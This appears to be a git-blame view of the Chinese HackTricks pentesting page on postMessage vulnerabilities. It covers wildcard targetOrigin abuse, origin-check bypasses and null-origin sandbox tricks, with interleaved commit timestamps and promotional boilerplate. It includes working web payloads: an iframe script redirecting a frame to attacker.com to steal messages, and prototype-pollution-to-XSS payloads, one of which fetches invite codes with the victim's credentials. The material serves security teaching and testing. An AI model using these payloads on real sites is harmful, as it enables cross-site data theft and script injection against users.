hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

210 lines
12 KiB
Markdown
Raw Normal View History

2023-08-03 19:12:22 +00:00
# PostMessage漏洞
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
## PostMessage漏洞
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>
2023-08-03 19:12:22 +00:00
## 发送**PostMessage**
2021-01-07 12:57:52 +00:00
2023-08-03 19:12:22 +00:00
**PostMessage**使用以下函数发送消息:
2021-10-04 21:42:12 +00:00
```bash
2021-01-07 12:57:52 +00:00
targetWindow.postMessage(message, targetOrigin, [transfer]);
2021-10-04 21:42:12 +00:00
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
2021-10-04 21:42:12 +00:00
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
2022-08-02 16:08:10 +00:00
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
2021-10-04 21:42:12 +00:00
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
2022-08-02 16:08:10 +00:00
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
2021-01-07 12:57:52 +00:00
```
2023-08-03 19:12:22 +00:00
请注意,**targetOrigin**可以是'\*'或URL例如_https://company.com._\
在**第二种情况**下,**消息只能发送到该域**(即使窗口对象的来源不同)。\
如果使用**通配符**,则**消息可以发送到任何域**,并将发送到窗口对象的来源。
2021-01-07 12:57:52 +00:00
2023-08-03 19:12:22 +00:00
### 攻击iframe和**targetOrigin**中的通配符
2021-01-07 12:57:52 +00:00
2023-08-03 19:12:22 +00:00
如[**此报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)所述,如果您找到一个可以被**嵌入**(没有`X-Frame-Header`保护)并且正在通过**postMessage**发送敏感消息的页面,而且使用了**通配符**\*),您可以**修改****iframe**的**来源**并将**敏感**消息泄漏到您控制的域。\
请注意,如果页面可以被嵌入但**targetOrigin**设置为URL而不是通配符则此**技巧将无效**。
2021-01-07 12:57:52 +00:00
```markup
<html>
2023-08-03 19:12:22 +00:00
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
2021-01-07 12:57:52 +00:00
```
2023-08-03 19:12:22 +00:00
## addEventListener漏洞利用
2021-01-07 12:57:52 +00:00
2023-08-03 19:12:22 +00:00
**`addEventListener`** 是JS用来声明期望接收`postMessages`的函数。\
类似下面的代码将被使用:
2021-01-07 12:57:52 +00:00
```javascript
window.addEventListener("message", (event) => {
2023-08-03 19:12:22 +00:00
if (event.origin !== "http://example.org:8080")
return;
2021-01-07 12:57:52 +00:00
2023-08-03 19:12:22 +00:00
// ...
2021-01-07 12:57:52 +00:00
}, false);
```
2023-08-03 19:12:22 +00:00
请注意,在这种情况下,代码**首先**要做的是**检查来源**。这非常**重要**,特别是如果页面要对接收到的信息进行**任何敏感操作**(比如更改密码)。**如果不检查来源,攻击者可以让受害者向这些端点发送任意数据**并更改受害者的密码(在这个例子中)。
2021-01-07 12:57:52 +00:00
2023-08-03 19:12:22 +00:00
### 枚举
2023-08-03 19:12:22 +00:00
为了在当前页面中**查找事件监听器**,你可以:
2023-08-03 19:12:22 +00:00
* 在JS代码中**搜索**`window.addEventListener`和`$(window).on`JQuery版本
* 在开发者工具控制台中**执行**`getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1) (1).png>)
2020-12-17 13:13:28 +00:00
2023-08-03 19:12:22 +00:00
* 在浏览器的开发者工具中**转到**_Elements --> Event Listeners_
2022-10-13 00:56:34 +00:00
![](<../../.gitbook/assets/image (617).png>)
2023-08-03 19:12:22 +00:00
* 使用像[**https://github.com/benso-io/posta**](https://github.com/benso-io/posta)或[https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)这样的**浏览器扩展**。这些浏览器扩展将**拦截所有的消息**并将其显示给你。
2023-08-03 19:12:22 +00:00
### 检查来源的基本绕过方法
2020-12-17 13:13:28 +00:00
2023-08-03 19:12:22 +00:00
* 如果使用**`indexOf()`**来**检查**PostMessage事件的**来源**,请记住它可以很容易地被绕过,就像下面的例子中一样:`("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")`\\
* 如果使用**`search()`**来**验证**来源,可能是不安全的。根据`String.prototype.search()`的文档,该方法**接受一个正则表达式**对象而不是一个字符串。如果传递的是除了正则表达式以外的任何内容,它将被隐式转换为正则表达式。\
在正则表达式中,**点(.)被视为通配符**。攻击者可以利用这一点,使用一个**特殊的域名**来绕过验证,例如:"https://www.safedomain.com".search("www.s.fedomain.com")。\\
* 如果使用**`escapeHtml`**函数,该函数不会创建一个`new`转义对象,而是**覆盖现有对象的属性**。这意味着如果我们能够创建一个具有不响应`hasOwnProperty`的受控属性的对象,它将不会被转义。
2020-12-17 13:13:28 +00:00
```javascript
// Expected to fail:
result = u({
2023-08-03 19:12:22 +00:00
message: "'\"<b>\\"
2020-12-17 13:13:28 +00:00
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
2023-08-03 19:12:22 +00:00
`File`对象非常适合此漏洞利用,因为它具有只读的`name`属性,该属性被我们的模板使用,并将绕过`escapeHtml`函数。
2020-12-17 13:13:28 +00:00
2023-08-03 19:12:22 +00:00
### 绕过e.origin == window.origin
2022-10-13 00:56:34 +00:00
2023-08-03 19:12:22 +00:00
当通过`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`将页面嵌入到**沙箱iframe**中时,该**iframe**的**origin**将为**`null`**。
2022-10-13 00:56:34 +00:00
2023-08-03 19:12:22 +00:00
当设置了**沙箱值`allow-popups`**时,**打开的弹出窗口**将**继承**所有**沙箱属性**,除非设置了`allow-popups-to-escape-sandbox`。\
因此,从**null origin**打开**弹出窗口**将使弹出窗口内的**`window.origin`**也为**`null`**。
2022-10-13 00:56:34 +00:00
2023-08-03 19:12:22 +00:00
因此,如果您打开一个允许弹出窗口的**沙箱iframe**然后从iframe内部**打开一个弹出窗口**并且从iframe**向弹出窗口发送postMessage**则两个origin都为null因此**`e.origin == window.origin == null`**
2022-10-13 00:56:34 +00:00
2023-08-03 19:12:22 +00:00
有关更多信息,请**阅读**
2022-10-13 00:56:34 +00:00
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### 绕过e.source
2022-10-13 00:56:34 +00:00
2023-08-03 19:12:22 +00:00
您可以通过创建一个**发送postMessage**并**立即删除**的**iframe**来强制**消息的`e.source`**为null。
2022-10-13 00:56:34 +00:00
2023-08-03 19:12:22 +00:00
有关更多信息,请**阅读**
2022-10-13 00:56:34 +00:00
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### 绕过X-Frame-Header
2023-08-03 19:12:22 +00:00
为了执行这些攻击,理想情况下,您将能够将受害者网页放在一个`iframe`中。但是,某些头文件(如`X-Frame-Header`)可能会**阻止**这种**行为**。\
在这种情况下您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新的标签页到受漏洞的Web应用程序并与其进行通信
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
2023-08-03 19:12:22 +00:00
### 通过阻塞主页面窃取发送给子iframe的消息
2023-08-03 19:12:22 +00:00
在下面的页面中,您可以看到如何通过在发送数据之前**阻塞**主页面,并滥用子页面中的**XSS漏洞**来窃取发送给**子iframe**的**敏感postmessage数据**,以及在数据接收之前**泄露数据**
2022-10-13 00:56:34 +00:00
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### 通过修改iframe位置窃取消息
2022-10-13 00:56:34 +00:00
2023-08-03 19:12:22 +00:00
如果您可以在没有X-Frame-Header的情况下嵌入包含另一个iframe的网页您可以**更改**该子iframe的**位置**,因此,如果它正在接收使用**通配符**发送的**postmessage**攻击者可以将该iframe的**来源**更改为由他**控制**的页面,并窃取消息:
2022-10-13 00:56:34 +00:00
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### postMessage到Prototype Pollution和/或XSS
2023-08-03 19:12:22 +00:00
在通过`postMessage`发送的数据由JS执行的情况下您可以通过**嵌入**页面并通过`postMessage`发送利用程序来利用**原型污染/XSS**。
2021-10-04 22:23:21 +00:00
2023-08-03 19:12:22 +00:00
可以在[https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)中找到一些非常好解释的**通过`postMessage`进行XSS**的示例。
2023-08-03 19:12:22 +00:00
以下是通过`postMessage`发送**利用原型污染然后进行XSS**的示例:
```markup
<html>
<body>
2023-08-03 19:12:22 +00:00
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
```
2023-08-03 19:12:22 +00:00
**更多信息**
2023-08-03 19:12:22 +00:00
* 链接到关于[**原型污染**](../deserialization/nodejs-proto-prototype-pollution/)的页面
* 链接到关于[**XSS**](../xss-cross-site-scripting/)的页面
* 链接到关于[**客户端原型污染到XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)的页面
2021-03-23 22:23:10 +00:00
2023-08-03 19:12:22 +00:00
## 参考资料
2021-03-23 22:23:10 +00:00
2021-10-22 10:16:40 +00:00
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
2023-08-03 19:12:22 +00:00
* 练习:[https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
</details>